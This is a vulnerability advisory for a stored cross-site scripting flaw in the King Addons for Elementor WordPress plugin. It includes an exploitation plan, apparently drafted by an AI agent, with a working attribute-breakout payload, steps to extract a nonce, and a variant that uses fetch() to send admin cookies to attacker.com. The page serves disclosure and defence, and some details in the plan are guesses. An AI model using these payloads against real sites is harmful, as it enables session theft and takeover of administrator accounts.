King Addons for Elementor <= 51.1.62 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'form_page_id' Parameter
Description
The King Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'form_page_id' parameter in versions up to, and including, 51.1.62 This is due to insufficient input sanitization in the add_to_submissions() function, which applies sanitize_text_field() (which preserves double-quote characters) before storing the value in post meta, combined with missing output escaping in the king_addons_submissions_custom_column_content() function, which concatenates the stored value into an HTML href attribute via admin_url() without wrapping the result in esc_url(). This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v51.1.63
Source Code
WordPress.org SVN# Exploitation Research Plan - King Addons for Elementor (Stored XSS) ## 1. Vulnerability Summary The King Addons for Elementor plugin (versions <= 51.1.62) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `form_page_id` parameter. The vulnerability occurs because the plugin stores th…
Show full research plan
Exploitation Research Plan - King Addons for Elementor (Stored XSS)
1. Vulnerability Summary
The King Addons for Elementor plugin (versions <= 51.1.62) is vulnerable to Stored Cross-Site Scripting (XSS) via the form_page_id parameter. The vulnerability occurs because the plugin stores this parameter using sanitize_text_field()—which permits double-quote characters (")—and later renders it in the WordPress admin dashboard without proper URL escaping. Specifically, the value is concatenated into an HTML href attribute using admin_url() but is not wrapped in esc_url() before being echoed in a custom column in the submissions list.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
king_addons_form_submissionorking_addons_post_submission(inferred from plugin functionality) - Vulnerable Parameter:
form_page_id - Authentication: Subscriber-level access or above is required to reach the vulnerable code path (as per CVE description).
- Preconditions: The "Form" widget or "Submissions" extension must be active.
3. Code Flow
- Submission Entry: An authenticated user (Subscriber+) submits a form powered by King Addons. The request is sent to an AJAX handler (likely registered in an extension file not fully shown in the snippet).
- Data Processing: The handler calls
add_to_submissions(). Inside this function:$_POST['form_page_id']is captured.- It is "sanitized" using
sanitize_text_field($_POST['form_page_id']).
- Storage: The value is stored as post meta (likely
_form_page_idor similar) for a newking_submissionpost type. - Admin Display: An administrator navigates to the "Submissions" list in the WordPress dashboard.
- Vulnerable Sink: The function
king_addons_submissions_custom_column_content()(inferred to be located inincludes/admin/submissions.phpor similar) handles the display of the custom column.- It retrieves the meta:
$page_id = get_post_meta($post_id, 'form_page_id', true); - It builds a URL:
$edit_url = admin_url('post.php?post=' . $page_id . '&action=edit'); - It outputs the link:
echo '<a href="' . $edit_url . '">View Page</a>';(Missingesc_url). - Because
$page_idcontains a double quote, the attacker can break out of thehrefattribute.
- It retrieves the meta:
4. Nonce Acquisition Strategy
The form submission endpoint likely requires a nonce for security. Since the plugin uses wp_localize_script, the nonce is exposed in the frontend.
- Identify the Shortcode: Find a page containing a "King Addons Form" or create one:
wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[king_form id="123"]' - Navigate: Use
browser_navigateto view the page. - Extract Nonce: Use
browser_evalto find the localized script object. Based on common King Addons patterns, the variable is likelyking_addons_form_params.- Command:
browser_eval("window.king_addons_form_params?.nonce") - Note: If the above is missing, check for
kingAddonsConfigor similar keys in the globalwindowobject.
- Command:
5. Exploitation Strategy
Step 1: Submit Malicious Payload
Send a POST request to the AJAX endpoint with a payload designed to break out of the href attribute.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:king_addons_form_submission(inferred)nonce:[EXTRACTED_NONCE]form_page_id:1" onmouseover="alert(document.domain)" style="display:block;width:1000px;height:1000px;" data-x="form_id:1(or any valid ID)fields[email]:test@example.com
Step 2: Trigger Execution
- Log in as an Administrator.
- Navigate to the King Addons Submissions page (likely
wp-admin/admin.php?page=king-addons-submissions). - Hover over the "View Page" link in the submissions table.
- The JavaScript
alert(document.domain)will execute.
6. Test Data Setup
- User: Create a subscriber user:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password. - Form: Ensure at least one King Addons form is created and its submissions are being tracked.
- Page: Create a page with a King Form to extract the nonce.
7. Expected Results
- The AJAX request should return a success message (e.g.,
{"success":true}). - In the database, the
post_metafor the submission should contain the raw payload string:1" onmouseover="alert(document.domain)" .... - When the admin views the list table, the HTML source should look like:
<a href="http://localhost:8080/wp-admin/post.php?post=1" onmouseover="alert(document.domain)" style="..." data-x="&action=edit">View Page</a>
8. Verification Steps
- Check Database:
wp post meta list [SUBMISSION_ID] --keys=form_page_id - Verify HTML Output: Access the submissions page and search for the payload in the DOM using
browser_eval("document.body.innerHTML.includes('onmouseover=\"alert')").
9. Alternative Approaches
- Payload Variant: If
onmouseoveris filtered or difficult to trigger, try anautofocuspayload:1" autofocus onfocus="alert(1)" x=" - Blind XSS: Instead of
alert, use a fetch request to an external collaborator to prove execution in the admin context:1" onmouseover="fetch('https://attacker.com/log?c='+document.cookie)" x=" - Action Guessing: If
king_addons_form_submissionfails, usegrep -r "wp_ajax" includes/in the plugin directory to find the correct submission action.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.